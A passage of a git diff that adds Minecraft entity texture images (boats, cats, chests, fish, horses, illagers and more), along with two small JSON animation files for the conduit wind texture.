a/src/assets/minecraft/textures/entity/boat/acacia.png b/src/assets/minecraft/textures/entity/boat/acacia.png new file mode 100644 index 00000000..88d8c758 Binary files /dev/null and b/src/assets/minecraft/textures/entity/boat/acacia.png differ diff --git a/src/assets/minecraft/textures/entity/boat/birch.png b/src/assets/minecraft/textures/entity/boat/birch.png new file mode 100644 index 00000000..e9048b81 Binary files /dev/null and b/src/assets/minecraft/textures/entity/boat/birch.png differ diff --git a/src/assets/minecraft/textures/entity/boat/dark_oak.png b/src/assets/minecraft/textures/entity/boat/dark_oak.png new file mode 100644 index 00000000..963f96fb Binary files /dev/null and b/src/assets/minecraft/textures/entity/boat/dark_oak.png differ diff --git a/src/assets/minecraft/textures/entity/boat/jungle.png b/src/assets/minecraft/textures/entity/boat/jungle.png new file mode 100644 index 00000000..73bb4d1e Binary files /dev/null and b/src/assets/minecraft/textures/entity/boat/jungle.png differ diff --git a/src/assets/minecraft/textures/entity/boat/oak.png b/src/assets/minecraft/textures/entity/boat/oak.png new file mode 100644 index 00000000..5ef4ad4a Binary files /dev/null and b/src/assets/minecraft/textures/entity/boat/oak.png differ diff --git a/src/assets/minecraft/textures/entity/boat/spruce.png b/src/assets/minecraft/textures/entity/boat/spruce.png new file mode 100644 index 00000000..b62e0403 Binary files /dev/null and b/src/assets/minecraft/textures/entity/boat/spruce.png differ diff --git a/src/assets/minecraft/textures/entity/cat/all_black.png b/src/assets/minecraft/textures/entity/cat/all_black.png new file mode 100644 index 00000000..66be34ab Binary files /dev/null and b/src/assets/minecraft/textures/entity/cat/all_black.png differ diff --git a/src/assets/minecraft/textures/entity/cat/black.png b/src/assets/minecraft/textures/entity/cat/black.png new file mode 100644 index 00000000..f34a9ee8 Binary files /dev/null and b/src/assets/minecraft/textures/entity/cat/black.png differ diff --git a/src/assets/minecraft/textures/entity/cat/british_shorthair.png b/src/assets/minecraft/textures/entity/cat/british_shorthair.png new file mode 100644 index 00000000..01b2f8e1 Binary files /dev/null and b/src/assets/minecraft/textures/entity/cat/british_shorthair.png differ diff --git a/src/assets/minecraft/textures/entity/cat/calico.png b/src/assets/minecraft/textures/entity/cat/calico.png new file mode 100644 index 00000000..cc9c4502 Binary files /dev/null and b/src/assets/minecraft/textures/entity/cat/calico.png differ diff --git a/src/assets/minecraft/textures/entity/cat/cat_collar.png b/src/assets/minecraft/textures/entity/cat/cat_collar.png new file mode 100644 index 00000000..bc1b17bf Binary files /dev/null and b/src/assets/minecraft/textures/entity/cat/cat_collar.png differ diff --git a/src/assets/minecraft/textures/entity/cat/jellie.png b/src/assets/minecraft/textures/entity/cat/jellie.png new file mode 100644 index 00000000..f46287a4 Binary files /dev/null and b/src/assets/minecraft/textures/entity/cat/jellie.png differ diff --git a/src/assets/minecraft/textures/entity/cat/ocelot.png b/src/assets/minecraft/textures/entity/cat/ocelot.png new file mode 100644 index 00000000..5f24e606 Binary files /dev/null and b/src/assets/minecraft/textures/entity/cat/ocelot.png differ diff --git a/src/assets/minecraft/textures/entity/cat/persian.png b/src/assets/minecraft/textures/entity/cat/persian.png new file mode 100644 index 00000000..68399dab Binary files /dev/null and b/src/assets/minecraft/textures/entity/cat/persian.png differ diff --git a/src/assets/minecraft/textures/entity/cat/ragdoll.png b/src/assets/minecraft/textures/entity/cat/ragdoll.png new file mode 100644 index 00000000..13c8d5a5 Binary files /dev/null and b/src/assets/minecraft/textures/entity/cat/ragdoll.png differ diff --git a/src/assets/minecraft/textures/entity/cat/red.png b/src/assets/minecraft/textures/entity/cat/red.png new file mode 100644 index 00000000..68edb25e Binary files /dev/null and b/src/assets/minecraft/textures/entity/cat/red.png differ diff --git a/src/assets/minecraft/textures/entity/cat/siamese.png b/src/assets/minecraft/textures/entity/cat/siamese.png new file mode 100644 index 00000000..8131120c Binary files /dev/null and b/src/assets/minecraft/textures/entity/cat/siamese.png differ diff --git a/src/assets/minecraft/textures/entity/cat/tabby.png b/src/assets/minecraft/textures/entity/cat/tabby.png new file mode 100644 index 00000000..4d353bbf Binary files /dev/null and b/src/assets/minecraft/textures/entity/cat/tabby.png differ diff --git a/src/assets/minecraft/textures/entity/cat/white.png b/src/assets/minecraft/textures/entity/cat/white.png new file mode 100644 index 00000000..1a092529 Binary files /dev/null and b/src/assets/minecraft/textures/entity/cat/white.png differ diff --git a/src/assets/minecraft/textures/entity/chest/christmas.png b/src/assets/minecraft/textures/entity/chest/christmas.png new file mode 100644 index 00000000..8cb25eef Binary files /dev/null and b/src/assets/minecraft/textures/entity/chest/christmas.png differ diff --git a/src/assets/minecraft/textures/entity/chest/christmas_left.png b/src/assets/minecraft/textures/entity/chest/christmas_left.png new file mode 100644 index 00000000..69842b8e Binary files /dev/null and b/src/assets/minecraft/textures/entity/chest/christmas_left.png differ diff --git a/src/assets/minecraft/textures/entity/chest/christmas_right.png b/src/assets/minecraft/textures/entity/chest/christmas_right.png new file mode 100644 index 00000000..140be973 Binary files /dev/null and b/src/assets/minecraft/textures/entity/chest/christmas_right.png differ diff --git a/src/assets/minecraft/textures/entity/chest/ender.png b/src/assets/minecraft/textures/entity/chest/ender.png new file mode 100644 index 00000000..26cbce38 Binary files /dev/null and b/src/assets/minecraft/textures/entity/chest/ender.png differ diff --git a/src/assets/minecraft/textures/entity/chest/normal.png b/src/assets/minecraft/textures/entity/chest/normal.png new file mode 100644 index 00000000..ac361a55 Binary files /dev/null and b/src/assets/minecraft/textures/entity/chest/normal.png differ diff --git a/src/assets/minecraft/textures/entity/chest/normal_left.png b/src/assets/minecraft/textures/entity/chest/normal_left.png new file mode 100644 index 00000000..d1d7f2cb Binary files /dev/null and b/src/assets/minecraft/textures/entity/chest/normal_left.png differ diff --git a/src/assets/minecraft/textures/entity/chest/normal_right.png b/src/assets/minecraft/textures/entity/chest/normal_right.png new file mode 100644 index 00000000..804aedf0 Binary files /dev/null and b/src/assets/minecraft/textures/entity/chest/normal_right.png differ diff --git a/src/assets/minecraft/textures/entity/chest/trapped.png b/src/assets/minecraft/textures/entity/chest/trapped.png new file mode 100644 index 00000000..f2809266 Binary files /dev/null and b/src/assets/minecraft/textures/entity/chest/trapped.png differ diff --git a/src/assets/minecraft/textures/entity/chest/trapped_left.png b/src/assets/minecraft/textures/entity/chest/trapped_left.png new file mode 100644 index 00000000..a272dbab Binary files /dev/null and b/src/assets/minecraft/textures/entity/chest/trapped_left.png differ diff --git a/src/assets/minecraft/textures/entity/chest/trapped_right.png b/src/assets/minecraft/textures/entity/chest/trapped_right.png new file mode 100644 index 00000000..73e75b2e Binary files /dev/null and b/src/assets/minecraft/textures/entity/chest/trapped_right.png differ diff --git a/src/assets/minecraft/textures/entity/chicken.png b/src/assets/minecraft/textures/entity/chicken.png new file mode 100644 index 00000000..b56b49fe Binary files /dev/null and b/src/assets/minecraft/textures/entity/chicken.png differ diff --git a/src/assets/minecraft/textures/entity/conduit/base.png b/src/assets/minecraft/textures/entity/conduit/base.png new file mode 100644 index 00000000..dfc0bae8 Binary files /dev/null and b/src/assets/minecraft/textures/entity/conduit/base.png differ diff --git a/src/assets/minecraft/textures/entity/conduit/break_particle.png b/src/assets/minecraft/textures/entity/conduit/break_particle.png new file mode 100644 index 00000000..78e0416c Binary files /dev/null and b/src/assets/minecraft/textures/entity/conduit/break_particle.png differ diff --git a/src/assets/minecraft/textures/entity/conduit/cage.png b/src/assets/minecraft/textures/entity/conduit/cage.png new file mode 100644 index 00000000..fe51d426 Binary files /dev/null and b/src/assets/minecraft/textures/entity/conduit/cage.png differ diff --git a/src/assets/minecraft/textures/entity/conduit/closed_eye.png b/src/assets/minecraft/textures/entity/conduit/closed_eye.png new file mode 100644 index 00000000..204b1100 Binary files /dev/null and b/src/assets/minecraft/textures/entity/conduit/closed_eye.png differ diff --git a/src/assets/minecraft/textures/entity/conduit/open_eye.png b/src/assets/minecraft/textures/entity/conduit/open_eye.png new file mode 100644 index 00000000..694601d2 Binary files /dev/null and b/src/assets/minecraft/textures/entity/conduit/open_eye.png differ diff --git a/src/assets/minecraft/textures/entity/conduit/wind.png b/src/assets/minecraft/textures/entity/conduit/wind.png new file mode 100644 index 00000000..3287fe25 Binary files /dev/null and b/src/assets/minecraft/textures/entity/conduit/wind.png differ diff --git a/src/assets/minecraft/textures/entity/conduit/wind.png.mcmeta b/src/assets/minecraft/textures/entity/conduit/wind.png.mcmeta new file mode 100644 index 00000000..93f0855e --- /dev/null +++ b/src/assets/minecraft/textures/entity/conduit/wind.png.mcmeta @@ -0,0 +1,31 @@ +{ + "animation": { + "frametime": 3, + "width": 64, + "height": 32, + "frames": [ + 0, + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11, + 12, + 13, + 14, + 15, + 16, + 17, + 18, + 19, + 20, + 21 + ] + } +} diff --git a/src/assets/minecraft/textures/entity/conduit/wind_vertical.png b/src/assets/minecraft/textures/entity/conduit/wind_vertical.png new file mode 100644 index 00000000..a5f38ceb Binary files /dev/null and b/src/assets/minecraft/textures/entity/conduit/wind_vertical.png differ diff --git a/src/assets/minecraft/textures/entity/conduit/wind_vertical.png.mcmeta b/src/assets/minecraft/textures/entity/conduit/wind_vertical.png.mcmeta new file mode 100644 index 00000000..93f0855e --- /dev/null +++ b/src/assets/minecraft/textures/entity/conduit/wind_vertical.png.mcmeta @@ -0,0 +1,31 @@ +{ + "animation": { + "frametime": 3, + "width": 64, + "height": 32, + "frames": [ + 0, + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11, + 12, + 13, + 14, + 15, + 16, + 17, + 18, + 19, + 20, + 21 + ] + } +} diff --git a/src/assets/minecraft/textures/entity/cow/brown_mooshroom.png b/src/assets/minecraft/textures/entity/cow/brown_mooshroom.png new file mode 100644 index 00000000..fb2e6782 Binary files /dev/null and b/src/assets/minecraft/textures/entity/cow/brown_mooshroom.png differ diff --git a/src/assets/minecraft/textures/entity/cow/cow.png b/src/assets/minecraft/textures/entity/cow/cow.png new file mode 100644 index 00000000..c110519d Binary files /dev/null and b/src/assets/minecraft/textures/entity/cow/cow.png differ diff --git a/src/assets/minecraft/textures/entity/cow/red_mooshroom.png b/src/assets/minecraft/textures/entity/cow/red_mooshroom.png new file mode 100644 index 00000000..180f514d Binary files /dev/null and b/src/assets/minecraft/textures/entity/cow/red_mooshroom.png differ diff --git a/src/assets/minecraft/textures/entity/creeper/creeper.png b/src/assets/minecraft/textures/entity/creeper/creeper.png new file mode 100644 index 00000000..3875ea90 Binary files /dev/null and b/src/assets/minecraft/textures/entity/creeper/creeper.png differ diff --git a/src/assets/minecraft/textures/entity/creeper/creeper_armor.png b/src/assets/minecraft/textures/entity/creeper/creeper_armor.png new file mode 100644 index 00000000..cc905d4d Binary files /dev/null and b/src/assets/minecraft/textures/entity/creeper/creeper_armor.png differ diff --git a/src/assets/minecraft/textures/entity/dolphin.png b/src/assets/minecraft/textures/entity/dolphin.png new file mode 100644 index 00000000..25bec56f Binary files /dev/null and b/src/assets/minecraft/textures/entity/dolphin.png differ diff --git a/src/assets/minecraft/textures/entity/elytra.png b/src/assets/minecraft/textures/entity/elytra.png new file mode 100644 index 00000000..f3389ab7 Binary files /dev/null and b/src/assets/minecraft/textures/entity/elytra.png differ diff --git a/src/assets/minecraft/textures/entity/enchanting_table_book.png b/src/assets/minecraft/textures/entity/enchanting_table_book.png new file mode 100644 index 00000000..7a4c2164 Binary files /dev/null and b/src/assets/minecraft/textures/entity/enchanting_table_book.png differ diff --git a/src/assets/minecraft/textures/entity/end_crystal/end_crystal.png b/src/assets/minecraft/textures/entity/end_crystal/end_crystal.png new file mode 100644 index 00000000..348afa2a Binary files /dev/null and b/src/assets/minecraft/textures/entity/end_crystal/end_crystal.png differ diff --git a/src/assets/minecraft/textures/entity/end_crystal/end_crystal_beam.png b/src/assets/minecraft/textures/entity/end_crystal/end_crystal_beam.png new file mode 100644 index 00000000..1c2e187c Binary files /dev/null and b/src/assets/minecraft/textures/entity/end_crystal/end_crystal_beam.png differ diff --git a/src/assets/minecraft/textures/entity/end_gateway_beam.png b/src/assets/minecraft/textures/entity/end_gateway_beam.png new file mode 100644 index 00000000..e5071ee7 Binary files /dev/null and b/src/assets/minecraft/textures/entity/end_gateway_beam.png differ diff --git a/src/assets/minecraft/textures/entity/end_portal.png b/src/assets/minecraft/textures/entity/end_portal.png new file mode 100644 index 00000000..173731a1 Binary files /dev/null and b/src/assets/minecraft/textures/entity/end_portal.png differ diff --git a/src/assets/minecraft/textures/entity/enderdragon/dragon.png b/src/assets/minecraft/textures/entity/enderdragon/dragon.png new file mode 100644 index 00000000..8d15e532 Binary files /dev/null and b/src/assets/minecraft/textures/entity/enderdragon/dragon.png differ diff --git a/src/assets/minecraft/textures/entity/enderdragon/dragon_exploding.png b/src/assets/minecraft/textures/entity/enderdragon/dragon_exploding.png new file mode 100644 index 00000000..6ac3078b Binary files /dev/null and b/src/assets/minecraft/textures/entity/enderdragon/dragon_exploding.png differ diff --git a/src/assets/minecraft/textures/entity/enderdragon/dragon_eyes.png b/src/assets/minecraft/textures/entity/enderdragon/dragon_eyes.png new file mode 100644 index 00000000..146d604e Binary files /dev/null and b/src/assets/minecraft/textures/entity/enderdragon/dragon_eyes.png differ diff --git a/src/assets/minecraft/textures/entity/enderdragon/dragon_fireball.png b/src/assets/minecraft/textures/entity/enderdragon/dragon_fireball.png new file mode 100644 index 00000000..4ac6358e Binary files /dev/null and b/src/assets/minecraft/textures/entity/enderdragon/dragon_fireball.png differ diff --git a/src/assets/minecraft/textures/entity/enderman/enderman.png b/src/assets/minecraft/textures/entity/enderman/enderman.png new file mode 100644 index 00000000..0413f8c5 Binary files /dev/null and b/src/assets/minecraft/textures/entity/enderman/enderman.png differ diff --git a/src/assets/minecraft/textures/entity/enderman/enderman_eyes.png b/src/assets/minecraft/textures/entity/enderman/enderman_eyes.png new file mode 100644 index 00000000..ade580ef Binary files /dev/null and b/src/assets/minecraft/textures/entity/enderman/enderman_eyes.png differ diff --git a/src/assets/minecraft/textures/entity/endermite.png b/src/assets/minecraft/textures/entity/endermite.png new file mode 100644 index 00000000..adc6c7fe Binary files /dev/null and b/src/assets/minecraft/textures/entity/endermite.png differ diff --git a/src/assets/minecraft/textures/entity/experience_orb.png b/src/assets/minecraft/textures/entity/experience_orb.png new file mode 100644 index 00000000..0a56f0f6 Binary files /dev/null and b/src/assets/minecraft/textures/entity/experience_orb.png differ diff --git a/src/assets/minecraft/textures/entity/fish/cod.png b/src/assets/minecraft/textures/entity/fish/cod.png new file mode 100644 index 00000000..8fa1ff2f Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/cod.png differ diff --git a/src/assets/minecraft/textures/entity/fish/pufferfish.png b/src/assets/minecraft/textures/entity/fish/pufferfish.png new file mode 100644 index 00000000..0b86b022 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/pufferfish.png differ diff --git a/src/assets/minecraft/textures/entity/fish/salmon.png b/src/assets/minecraft/textures/entity/fish/salmon.png new file mode 100644 index 00000000..9b18b3e6 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/salmon.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_a.png b/src/assets/minecraft/textures/entity/fish/tropical_a.png new file mode 100644 index 00000000..e3ce5ef9 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_a.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_1.png b/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_1.png new file mode 100644 index 00000000..d1ca7bbf Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_1.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_2.png b/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_2.png new file mode 100644 index 00000000..02d5a8d3 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_2.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_3.png b/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_3.png new file mode 100644 index 00000000..1caab9ac Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_3.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_4.png b/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_4.png new file mode 100644 index 00000000..a2c7fa24 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_4.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_5.png b/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_5.png new file mode 100644 index 00000000..2df3dc5c Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_5.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_6.png b/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_6.png new file mode 100644 index 00000000..06ed8367 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_a_pattern_6.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_b.png b/src/assets/minecraft/textures/entity/fish/tropical_b.png new file mode 100644 index 00000000..7de4312b Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_b.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_1.png b/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_1.png new file mode 100644 index 00000000..5b19c284 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_1.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_2.png b/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_2.png new file mode 100644 index 00000000..948154d8 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_2.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_3.png b/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_3.png new file mode 100644 index 00000000..0c948d2f Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_3.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_4.png b/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_4.png new file mode 100644 index 00000000..0ecf7403 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_4.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_5.png b/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_5.png new file mode 100644 index 00000000..ce941a2d Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_5.png differ diff --git a/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_6.png b/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_6.png new file mode 100644 index 00000000..61f70196 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fish/tropical_b_pattern_6.png differ diff --git a/src/assets/minecraft/textures/entity/fishing_hook.png b/src/assets/minecraft/textures/entity/fishing_hook.png new file mode 100644 index 00000000..e1e3c9d7 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fishing_hook.png differ diff --git a/src/assets/minecraft/textures/entity/fox/fox.png b/src/assets/minecraft/textures/entity/fox/fox.png new file mode 100644 index 00000000..2d068d68 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fox/fox.png differ diff --git a/src/assets/minecraft/textures/entity/fox/fox_sleep.png b/src/assets/minecraft/textures/entity/fox/fox_sleep.png new file mode 100644 index 00000000..4751cfe1 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fox/fox_sleep.png differ diff --git a/src/assets/minecraft/textures/entity/fox/snow_fox.png b/src/assets/minecraft/textures/entity/fox/snow_fox.png new file mode 100644 index 00000000..a41fb537 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fox/snow_fox.png differ diff --git a/src/assets/minecraft/textures/entity/fox/snow_fox_sleep.png b/src/assets/minecraft/textures/entity/fox/snow_fox_sleep.png new file mode 100644 index 00000000..e71ae7b1 Binary files /dev/null and b/src/assets/minecraft/textures/entity/fox/snow_fox_sleep.png differ diff --git a/src/assets/minecraft/textures/entity/ghast/ghast.png b/src/assets/minecraft/textures/entity/ghast/ghast.png new file mode 100644 index 00000000..ca2823e9 Binary files /dev/null and b/src/assets/minecraft/textures/entity/ghast/ghast.png differ diff --git a/src/assets/minecraft/textures/entity/ghast/ghast_shooting.png b/src/assets/minecraft/textures/entity/ghast/ghast_shooting.png new file mode 100644 index 00000000..2e6badbd Binary files /dev/null and b/src/assets/minecraft/textures/entity/ghast/ghast_shooting.png differ diff --git a/src/assets/minecraft/textures/entity/guardian.png b/src/assets/minecraft/textures/entity/guardian.png new file mode 100644 index 00000000..9945242b Binary files /dev/null and b/src/assets/minecraft/textures/entity/guardian.png differ diff --git a/src/assets/minecraft/textures/entity/guardian_beam.png b/src/assets/minecraft/textures/entity/guardian_beam.png new file mode 100644 index 00000000..73a23109 Binary files /dev/null and b/src/assets/minecraft/textures/entity/guardian_beam.png differ diff --git a/src/assets/minecraft/textures/entity/guardian_elder.png b/src/assets/minecraft/textures/entity/guardian_elder.png new file mode 100644 index 00000000..79e0f2c1 Binary files /dev/null and b/src/assets/minecraft/textures/entity/guardian_elder.png differ diff --git a/src/assets/minecraft/textures/entity/hoglin/hoglin.png b/src/assets/minecraft/textures/entity/hoglin/hoglin.png new file mode 100644 index 00000000..2d55c108 Binary files /dev/null and b/src/assets/minecraft/textures/entity/hoglin/hoglin.png differ diff --git a/src/assets/minecraft/textures/entity/hoglin/zoglin.png b/src/assets/minecraft/textures/entity/hoglin/zoglin.png new file mode 100644 index 00000000..4381524f Binary files /dev/null and b/src/assets/minecraft/textures/entity/hoglin/zoglin.png differ diff --git a/src/assets/minecraft/textures/entity/horse/armor/horse_armor_diamond.png b/src/assets/minecraft/textures/entity/horse/armor/horse_armor_diamond.png new file mode 100644 index 00000000..2a7e179e Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/armor/horse_armor_diamond.png differ diff --git a/src/assets/minecraft/textures/entity/horse/armor/horse_armor_gold.png b/src/assets/minecraft/textures/entity/horse/armor/horse_armor_gold.png new file mode 100644 index 00000000..a9b09e2c Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/armor/horse_armor_gold.png differ diff --git a/src/assets/minecraft/textures/entity/horse/armor/horse_armor_iron.png b/src/assets/minecraft/textures/entity/horse/armor/horse_armor_iron.png new file mode 100644 index 00000000..a0a88faa Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/armor/horse_armor_iron.png differ diff --git a/src/assets/minecraft/textures/entity/horse/armor/horse_armor_leather.png b/src/assets/minecraft/textures/entity/horse/armor/horse_armor_leather.png new file mode 100644 index 00000000..0c110da9 Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/armor/horse_armor_leather.png differ diff --git a/src/assets/minecraft/textures/entity/horse/donkey.png b/src/assets/minecraft/textures/entity/horse/donkey.png new file mode 100644 index 00000000..a8745194 Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/donkey.png differ diff --git a/src/assets/minecraft/textures/entity/horse/horse_black.png b/src/assets/minecraft/textures/entity/horse/horse_black.png new file mode 100644 index 00000000..d5fddb0d Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/horse_black.png differ diff --git a/src/assets/minecraft/textures/entity/horse/horse_brown.png b/src/assets/minecraft/textures/entity/horse/horse_brown.png new file mode 100644 index 00000000..3bc9c97d Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/horse_brown.png differ diff --git a/src/assets/minecraft/textures/entity/horse/horse_chestnut.png b/src/assets/minecraft/textures/entity/horse/horse_chestnut.png new file mode 100644 index 00000000..dc986a45 Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/horse_chestnut.png differ diff --git a/src/assets/minecraft/textures/entity/horse/horse_creamy.png b/src/assets/minecraft/textures/entity/horse/horse_creamy.png new file mode 100644 index 00000000..13d08df2 Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/horse_creamy.png differ diff --git a/src/assets/minecraft/textures/entity/horse/horse_darkbrown.png b/src/assets/minecraft/textures/entity/horse/horse_darkbrown.png new file mode 100644 index 00000000..d0a951ba Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/horse_darkbrown.png differ diff --git a/src/assets/minecraft/textures/entity/horse/horse_gray.png b/src/assets/minecraft/textures/entity/horse/horse_gray.png new file mode 100644 index 00000000..d0e64b84 Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/horse_gray.png differ diff --git a/src/assets/minecraft/textures/entity/horse/horse_markings_blackdots.png b/src/assets/minecraft/textures/entity/horse/horse_markings_blackdots.png new file mode 100644 index 00000000..90bbd826 Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/horse_markings_blackdots.png differ diff --git a/src/assets/minecraft/textures/entity/horse/horse_markings_white.png b/src/assets/minecraft/textures/entity/horse/horse_markings_white.png new file mode 100644 index 00000000..4799ff6a Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/horse_markings_white.png differ diff --git a/src/assets/minecraft/textures/entity/horse/horse_markings_whitedots.png b/src/assets/minecraft/textures/entity/horse/horse_markings_whitedots.png new file mode 100644 index 00000000..42a8fd0c Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/horse_markings_whitedots.png differ diff --git a/src/assets/minecraft/textures/entity/horse/horse_markings_whitefield.png b/src/assets/minecraft/textures/entity/horse/horse_markings_whitefield.png new file mode 100644 index 00000000..f7432314 Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/horse_markings_whitefield.png differ diff --git a/src/assets/minecraft/textures/entity/horse/horse_skeleton.png b/src/assets/minecraft/textures/entity/horse/horse_skeleton.png new file mode 100644 index 00000000..6d1a79df Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/horse_skeleton.png differ diff --git a/src/assets/minecraft/textures/entity/horse/horse_white.png b/src/assets/minecraft/textures/entity/horse/horse_white.png new file mode 100644 index 00000000..66078e8e Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/horse_white.png differ diff --git a/src/assets/minecraft/textures/entity/horse/horse_zombie.png b/src/assets/minecraft/textures/entity/horse/horse_zombie.png new file mode 100644 index 00000000..f369b40c Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/horse_zombie.png differ diff --git a/src/assets/minecraft/textures/entity/horse/mule.png b/src/assets/minecraft/textures/entity/horse/mule.png new file mode 100644 index 00000000..3751ed0c Binary files /dev/null and b/src/assets/minecraft/textures/entity/horse/mule.png differ diff --git a/src/assets/minecraft/textures/entity/illager/evoker.png b/src/assets/minecraft/textures/entity/illager/evoker.png new file mode 100644 index 00000000..480dc616 Binary files /dev/null and b/src/assets/minecraft/textures/entity/illager/evoker.png differ diff --git a/src/assets/minecraft/textures/entity/illager/evoker_fangs.png b/src/assets/minecraft/textures/entity/illager/evoker_fangs.png new file mode 100644 index 00000000..98db535a Binary files /dev/null and b/src/assets/minecraft/textures/entity/illager/evoker_fangs.png differ diff --git a/src/assets/minecraft/textures/entity/illager/illusioner.png b/src/assets/minecraft/textures/entity/illager/illusioner.png new file mode 100644 index 00000000..72f5ee8e Binary files /dev/null and b/src/assets/minecraft/textures/entity/illager/illusioner.png differ diff --git a/src/assets/minecraft/textures/entity/illager/pillager.png b/src/assets/minecraft/textures/entity/illager/pillager.png new file mode 100644 index 00000000..669acc3b Binary files /dev/null and b/src/assets/minecraft/textures/entity/illager/pillager.png differ diff --git a/src/assets/minecraft/textures/entity/illager/ravager.png b/src/assets/minecraft/textures/entity/illager/ravager.png new file mode 100644 index 00000000..eafbcfe2 Binary files /dev/null and b/src/assets/minecraft/textures/entity/illager/ravager.png differ diff --git a/src/assets/minecraft/textures/entity/illager/vex.png b/src/assets/minecraft/textures/entity/illager/vex.png new file mode 100644 index 00000000..dd538e7d Binary files /dev/null and b/src/assets/minecraft/textures/entity/illager/vex.png differ diff --git a/src/assets/minecraft/textures/entity/illager/vex_charging.png b/src/assets/minecraft/textures/entity/illager/vex_charging.png new file mode 100644 index 00000000..971114e7 Binary files /dev/null and b/src/assets/minecraft/textures/entity/illager/vex_charging.png differ diff --git a/src/assets/minecraft/textures/entity/illager/vindicator.png b/src/assets/minecraft/textures/entity/illager/vindicator.png new file mode 100644 index 00000000..181fd2fe Binary files /dev/null and b/src/assets/minecraft/textures/entity/illager/vindicator.png differ diff --git a/src/assets/minecraft/textures/entity/iron_golem/iron_golem.png b/src/assets/minecraft/textures/entity/iron_golem/iron_golem.png new file mode 100644 index 00000000..931e2f9f Binary files /dev/null and b/src/assets/minecraft/textures/entity/iron_golem/iron_golem.png differ diff --git a/src/assets/minecraft/textures/entity/iron_golem/iron_golem_crackiness_high.png b/src/assets/minecraft/textures/entity/iron_golem/iron_golem_crackiness_high.png new file mode 100644 index 00000000..cd813629 Binary files /dev/null and b/src/assets/minecraft/textures/entity/iron_golem/iron_golem_crackiness_high.png differ diff --git a/src/assets/minecraft/textures/entity/iron_golem/iron_golem_crackiness_low.png b/src/assets/minecraft/textures/entity/iron_golem/iron_golem_crackiness_low.png new file mode 100644 index 00000000..0d12ff93 Binary files /dev/null and b/src/assets/minecraft/textures/entity/iron_golem/iron_golem_crackiness_low.png differ diff --git a/src/assets/minecraft/textures/entity/iron_golem/iron_golem_crackiness_medium.png b/src/assets/minecraft/textures/entity/iron_golem/iron_golem_crackiness_medium.png new file mode 100644 index 00000000..9387fa1e Binary files /dev/null and b/src/assets/minecraft/textures/entity/iron_golem/iron_golem_crackiness_medium.png differ diff --git a/src/assets/minecraft/textures/entity/lead_knot.png b/src/assets/minecraft/textures/entity/lead_knot.png new file mode 100644 index 00000000..d6783071 Binary files /dev/null and b/src/assets/minecraft/textures/entity/lead_knot.png differ diff --git 